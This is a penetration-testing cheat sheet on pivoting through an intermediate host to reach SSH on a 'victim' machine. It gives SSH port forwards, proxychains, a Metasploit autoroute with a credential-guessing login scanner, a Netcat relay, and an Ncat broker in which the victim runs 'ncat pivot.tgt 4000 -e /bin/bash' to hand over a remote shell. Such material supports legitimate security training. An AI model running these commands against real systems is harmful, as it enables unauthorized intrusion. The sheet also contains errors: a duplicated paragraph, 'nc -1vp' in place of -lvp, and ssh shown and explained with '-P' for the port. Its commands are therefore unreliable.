Navigating a client/victim environment often requires pivoting from target to target, and there are many ways to do so. This cheat sheet runs through various options for different environments and situations.

**Purpose**

Find a method that may fit your situation. In each, we model an attacker pivoting through pivot to reach SSH on victim. Substitute hosts and ports to fit your need.

Pay attention to prompts as they will identify the host where the command should be run AND what type of prompt, i.e. Windows `cmd.exe (c:\>` or `PowerShell (PS)`, or Linux (`$` or `#`). The diagram in the center should help.

Replace terms like `victimAdmin` and `victimPass` with appropriate credentials for the given system.

**How to Use this Sheet**

Find a method that may fit your situation. In each, we model an attacker pivoting through pivot to reach SSH on victim. Substitute hosts and ports to fit your need.

Pay attention to prompts as they will identify the host where the command should be run AND what type of prompt, i.e. Windows `cmd.exe (c:\>` or `PowerShell (PS)`, or Linux (`$` or `#`). The diagram in the center should help.

Replace terms like `victimAdmin` and `victimPass` with appropriate credentials for the given system.

On the back, there are some extra goodies - like how to upgrade an ugly Netcat shell to something that feels more like a real Bash session.

Have fun, good luck, and pivot mercilessly!
SSH Pivots Require an sshd Setting
Set GatewayPorts yes in 
/etc/ssh/sshd_config, then:
pivot # systemctl restart sshd

Situation
You need to access SSH on port 22 of victim, but you can’t go directly due to those meddling firewalls. For simplicity, this sheet will generally be using ports 1337, 4000, and 22 on the Attacker, Pivot, and Victim machines.

SSH Local Port Forward
attacker $ ssh -fNL
1337:victim.tgt:22
pivoter@pivot.tgt
attacker $ ssh
victimadmin@localhost -P 1337

SSH Remote Port Forward
attacker $ ssh -fNR
4000:victim.tgt:22
pivoter@pivot.tgt
attacker $ ssh
victimadmin@pivot.tgt -P 4000

Proxychains
attacker $ ssh
pivotadmin@pivot.tgt -D 9050 -fN
attacker $ proxychains ssh
victimadmin@victim.tgt

And check /etc/proxychains.conf

Some SSH Command Line Options
- f put ssh in the background after connecting
- N don’t execute a command; just forward some ports
- P num use “num” port for ssh

Metasploit/Meterpreter Autoroute
pivot Meterpreter > run
post/multi/manage/autoroute
SUBNET=pivotSubnet CMD=add
pivot Meterpreter > background
pivot msf > use
scanner/ssh/ssh_login
pivot msf > set RHOSTS
victim.tgt
pivot msf > set USERNAME
victimAdmin
pivot msf > set PASSWORD
victimPass
pivot msf > run

Netcat Port Forward
pivot $ cd /tmp && mknod backpipe p
pivot $ nc -1vp 4000
0<backpipe | nc -v victim.tgt
22 1>backpipe
attacker $ ssh
victimadmin@pivot.tgt -P 4000

Ncat Connection Brokering
Assumes code execution on victim
pivot$ ncat -vlp 4000 --broker
victim$ ncat pivot.tgt 4000 -e
/bin/bash
attacker$ ncat pivot.tgt 4000